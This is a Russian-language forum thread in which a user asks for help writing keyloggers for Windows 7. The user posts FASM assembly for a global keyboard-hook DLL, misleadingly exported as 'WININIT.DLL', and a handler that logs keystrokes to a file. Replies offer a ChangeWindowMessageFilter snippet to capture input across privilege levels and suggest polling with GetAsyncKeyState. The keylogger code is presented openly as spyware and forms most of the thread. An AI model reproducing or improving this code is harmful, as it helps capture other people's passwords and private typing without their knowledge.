Здравствуйте. Интересуют способы написания клавиатурных шпионов для Windows 7. Делал хук на клавиатуру, проблема заключается в том, что если хук поставлен с правами администратора, я не могу перехватить клавиатурные нажатия адресованные приложениям с правами юзера и на оборот, может надо использовать другой метод? Или ошибка в моём коде?. Так же не всегда соблюдается регистр символов, видимо я не правильно передаю скан код в ToAsciiEx, помогите пожалуйста. DLL Код (Text): format PE GUI 4.0 DLL entry DllEntryPoint WM_KEYEVENT = WM_USER+1 include 'win32a.inc' section '.text' code readable writable executable hook dd ? hinst dd ? _class db 'NEXUZ_WIN32', 0 proc DllEntryPoint hinstDLL,fdwReason,lpvReserved mov eax, [hinstDLL] mov [hinst], eax mov eax, TRUE ret endp proc SetHook flag mov eax, [flag] or eax, eax jz @F invoke SetWindowsHookEx, WH_KEYBOARD, KeyboardProc, [hinst], 0 mov [hook], eax ret @@: invoke UnHookWindowsHookEx, [hook] ret endp proc KeyboardProc, lcode, wparam, lparam cmp [lcode], HC_ACTION jnz @close test [lparam], 80000000h jnz @close invoke FindWindow, _class, _class invoke PostMessage, eax, WM_KEYEVENT, [wparam], [lparam] @close: invoke CallNextHookEx, [hook], [lcode], [wparam], [lparam] ret endp section '.idata' import data readable writeable library user,'USER32.DLL' import user,\ FindWindow,'FindWindowA',\ PostMessage,'PostMessageA',\ SetWindowsHookEx,'SetWindowsHookExA',\ UnHookWindowsHookEx,'UnhookWindowsHookEx',\ CallNextHookEx,'CallNextHookEx' section '.edata' export data readable export 'WININIT.DLL',\ SetHook, 'SetHook' section '.reloc' fixups data discardable Ну и в главном приложении при получении сообщения WM_KEYEVENT: Код (Text): [KeybrdState] - указатель, на 256 байт выделенных VirtualAlloc key rb 16 ... .wmkeyevent: invoke GetKeyboardState, [KeybrdState] movzx eax, byte[lparam+2] invoke ToAsciiEx, [wparam], eax, [KeybrdState], key, 0, ebx test eax, eax jz .finish invoke lstrlen, key invoke _lwrite, [hlog], key, eax inc eax jz error invoke FlushFileBuffers, [hlog] cld mov edi, key xor eax, eax mov ecx, 12 @@:stosb loop @B xor eax, eax jmp .finish
0_о Это как? Вообще, по идеи, всё должно работать в Ring3 и от уровня user. Например Punto Switcher как то же работает, но вот как?
Объясните пожалуйста подробнее, я не очень пойму, вот в XP делал один вызов LoadLibrary, дальше GetProcAdress и вызывал SetHook (см мою Dll), а внедрять в процессы - это как? Устанавливается, от админа, но автозапуск насколько я знаю, в семерки при включенном UAC с правами администратора - запрещен, если программа не запросит повышение прав, но тогда вылетит сообщение UAC. bypas для меня не подходит.
Я тут как-то пару лет назад писал аналог ПунтоСвитчера и он работал в юзермоде в IE7. Тоже долго мучился, потом нашел на codeproject: Код (Text): // Загружаем user32.dll hinstUser32Lib = AfxLoadLibrary(TEXT("user32")); if (hinstUser32Lib != NULL) { // Получаем указатель на функцию ChangeWindowMessageFilter // Функция существует только в Windows Vista cwmfProcAdd = (CWMF) GetProcAddress(hinstUser32Lib, "ChangeWindowMessageFilter"); if (NULL != cwmfProcAdd) { // Разрешаем сообщение UWM_INPUTLANGCHANGE и WM_COPYDATA // от приложений, работающих в Protected Mode (IE7 в Windows Vista) (cwmfProcAdd)(UWM_INPUTLANGCHANGE, MSGFLT_ADD); (cwmfProcAdd)(WM_COPYDATA, MSGFLT_ADD); } }
dgs Почему бы вам циклический опрос не сделать с помощью функции GetAsynсKeyState. Этот метод на Win7 работает и не надо с DLL’ой таскаться. Вот тут есть пример на fasm: https://vazonez.com/forum/index.php?topic=216.0